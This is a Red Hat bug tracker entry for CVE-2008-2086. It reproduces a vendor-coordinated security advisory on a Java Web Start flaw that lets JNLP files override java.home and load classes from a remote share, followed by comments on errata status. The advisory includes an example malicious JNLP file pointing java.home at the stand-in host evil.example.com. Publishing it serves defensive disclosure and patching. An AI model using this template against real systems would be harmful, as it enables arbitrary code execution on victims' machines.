Bug 474556 (CVE-2008-2086)

Summary: CVE-2008-2086 Java Web Start File Inclusion via System Properties Override
Product: [Other] Security Response Reporter: Marc Schoenefeld <mschoene>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: low    
Version: unspecifiedCC: charlieb-fedora-bugzilla, jlieskov, kreilly
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2013-04-12 04:46:25 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 474557, 474558, 474559, 474560, 479814, 479815, 479822, 479823, 493287, 493288, 493289, 529660, 529661    
Bug Blocks:    

Description Marc Schoenefeld 2008-12-04 13:03:54 UTC
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



                   Virtual Security Research, LLC.
                      http://www.vsecurity.com/
                         Security Advisory


- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Advisory Name: Java Web Start File Inclusion via System Properties Override
 Release Date: 2008-12-03
  Application: Sun Java Runtime Environment / Java Web Start
     Versions: See below
     Severity: High
       Author: Timothy D. Morgan <tmorgan {a} vsecurity.com>
Vendor Status: Patch Released [3]
CVE Candidate: CVE-2008-2086
    Reference: http://www.vsecurity.com/bulletins/advisories/2008/JWS-props.txt

- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Product Description
- -------------------
- From [1]:

 "Using Java Web Start technology, standalone Java software applications
  can be deployed with a single click over the network. Java Web Start
  ensures the most current version of the application will be deployed,
  as well as the correct version of the Java Runtime Environment (JRE)."


Vulnerability Overview
- ----------------------
On March 27th, VSR identified a vulnerability in Java Web Start related
to the execution of privileged applications.  This flaw could allow an
attacker to execute arbitrary code on a victim system if a user could be
convinced to visit a malicious web site.


Product Background
- ------------------
Java Web Start (JWS) applications are launched through specially
formatted XML files hosted on web sites with a "jnlp" file extension.
These files reference one or more "jar" files which are meant to be
downloaded and executed by client systems.  JWS applications are run in
unprivileged mode by default but may be run with full user privileges if
the jnlp file requests this access.  Privileged JWS applications must
have each jar file signed by the same trusted author in order to be
executed.  However, jnlp files are not signed and may be hosted by
third-party web sites.

In addition to specifying application components, the jnlp specification
permits application authors to supply certain System properties which
may be retrieved by the application through the System.getProperty() and
System.getProperties() methods.  Besides any user-supplied properties,
the Java VM also provides access to a number of sensitive runtime
settings through this interface.

More information on the jnlp format may be found in [2].


Vulnerability Details
- ---------------------
VSR discovered an unsafe behavior in the way properties are interpreted
when specified in jnlp files.  In certain versions of the Java Runtime
Engine (JRE), values supplied through jnlp files override existing
system defaults. Thus far, VSR has verified the following System
properties may be overridden:

  java.home
  java.ext.dirs
  user.home

Of particular interest are the java.home and java.ext.dirs properties.
If an attacker could lure a victim to open a malicious jnlp file which
references a trusted application, it may be executed without any
confirmation by the user.  However, as the application attempts to load
classes, it may trust the malicous java.home and/or java.ext.dirs value.
These paths could point to a malicious local or remote JRE or extensions
installation.  It appears that under Windows, UNC network paths may be
used for the java.home value. It is not yet known whether or not UNC
paths may be used for java.ext.dirs.

During testing, VSR found that Java Cryptography Extension (JCE) classes
failed to load when java.home was set to an invalid path.  However, by
setting this path to network share which hosted a valid JRE
installation, the JCE classes loaded correctly.  If such a network share
were hosted by the attacker, then arbitrary code could potentially be
loaded without restrictions, unbeknownst to the victim.

The following XML shows what a malicious jnlp file might look like.
Note that the malicious jnlp file would likely be very similar to the
ones users normally rely on with certain properties overriden in the
resources section.

  <jnlp spec="1.0+" codebase="http://trusted.example.org/" href="evil.jnlp">
    <information>
      <title>Trusted Application</title>
      <vendor>Trusted Vendor</vendor>
      <description>Trusted Application by Trusted Vendor</description>
      <homepage href="http://trusted.example.org/" />
      <offline-allowed />
    </information>
    <security><all-permissions /></security>
    <resources>
      <j2se version="1.5+" />
      <!-- Next line overrides the JRE's java.home System property -->
      <property name="java.home" value="\\evil.example.com\jre" />
      <jar href="signed-and-trusted-jce-dependent-library.jar" />
    </resources>
    <application-desc main-class="org.example.trusted.app.StartApp" />
  </jnlp>

To fully exploit this specific attack vector, an attacker would need to
remotely or locally host a malicious version of classes used by a
trusted application and then lure a user into opening a malicious jnlp
file. A firewall installed between the attacker and victim could
mitigate this issue if the victim's machine were restricted from
accessing the hosted network share.

Note that certain JWS applications may trust other System properties,
such as user.home, and use them in ways which could be exploited in
application-specific variants of this attack.


Versions Affected
- -----------------
During testing, VSR found the following JRE versions to be vulnerable:
    * 1.5.0_15 on Windows 
    * 1.6.0 on Windows
    * 1.5.0_13-b05-237 on Mac OS X (distributed by Apple)

Version 1.6.0_05 on Windows did not appear to be vulnerable.  However,
Sun recommends that any installations with the following versions be
updated:

    * JDK and JRE 6 Update 10 and earlier
    * JDK and JRE 5.0 Update 16 and earlier
    * SDK and JRE 1.4.2_18 and earlier

Sun reports that JRE 1.3.x is not affected, nor is JRE 6 Update 7 for
Intel Itanium.  For more information on versions affected and updates,
see [3].


Vendor Response
- ---------------
The following timeline details Sun's response to the reported issue:

2008-03-28    Sun was provided a draft advisory.

2008-03-28    An initial response was received from Sun.

2008-04-11    Sun reported that the issue could not be reproduced.

2008-04-11    VSR provided Sun additional exploit details.

2008-04-29    Sun reported the issue was reproduced and assigned
              an internal issue tracking number of CR 6694892.

2008-12-03    Sun Alert 244988 was released with an associated security
              update. 

Sun Alert 244988 may be obtained at:
  http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1


Recommendation
- --------------
Apply the JRE update as soon as possible.  The issue is fixed in:

    * JDK and JRE 6 Update 11 or later
    * JDK and JRE 5.0 Update 17 or later
    * SDK and JRE 1.4.2_19 or later

Review Sun Alert 244988 [3] for information on how to temporarily
disable Java Web Start to work around this issue.


Common Vulnerabilities and Exposures (CVE) Information
- ------------------------------------------------------
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2008-2086 to this issue.  This is a candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.


Acknowledgements
- ----------------
Thanks to George Gal for assistance in testing.  VSR would like to thank
Sun for cooperating in the patch development process.


- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

References:

1.  Java Web Start Technology
    http://java.sun.com/products/javawebstart/

2.  Java Web Start Architecture JNLP Specification & API Documentation
    http://java.sun.com/products/javawebstart/download-spec.html

3.  Sun Alert 244988
    http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1

- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Copyright 2008 Virtual Security Research, LLC.  All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJN1kCQ1RSUNR+T+gRAl6TAJ9LmdTw8S4K3RMpgseiw/AkHUc81ACeK+pn
cXqD3636+kFoMIUNlNhVZUw=
=yv7u
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread] 


Configure | About | News | Donate | Add a list | Sponsors: 10East, KoreLogic, Terra-International, Chakpak.com

Comment 3 Jan Lieskovsky 2008-12-08 09:02:32 UTC
Another mention of this issue:

http://secunia.com/advisories/32991/

Comment 6 Charlie Brady 2009-03-13 20:27:14 UTC
This bug 474556 is mentioned in the "bugs fixed" section of Red Hat Advisory RHSA-2009-0015 but is still in 'NEW' state.

http://www.redhat.com/support/errata/RHSA-2009-0015.html

Is this problem fixed in java-1.6.0-openjdk-1.6.0.0-0.25.b09.el5 and java-1.6.0-ibm-1.6.0.3-1jpp.3.el4 or not?

I notice also that changelog for java-1.6.0-openjdk-1.6.0.0-0.25.b09.el5 jumps from 1:1.6.0.0-0.15.b09 to 1:1.6.0.0-0.21.b09 and doesn't mention any of the security patches or CVE numbers. Could the changelog be repaired please, to contain the missing information?

Comment 7 Charlie Brady 2009-03-13 20:47:08 UTC
This bug is also referenced in the 'bugs fixed' section of RHSA-2008-1018:

http://rhn.redhat.com/errata/RHSA-2008-1018.html

Comment 9 errata-xmlrpc 2009-04-23 18:44:51 UTC
This issue has been addressed in following products:

  Extras for RHEL 3
  Extras for RHEL 4
  Extras for Red Hat Enterprise Linux 5

Via RHSA-2009:0445 https://rhn.redhat.com/errata/RHSA-2009-0445.html

Comment 11 errata-xmlrpc 2009-12-11 13:43:10 UTC
This issue has been addressed in following products:

  Red Hat Network Satellite Server v 5.1

Via RHSA-2009:1662 https://rhn.redhat.com/errata/RHSA-2009-1662.html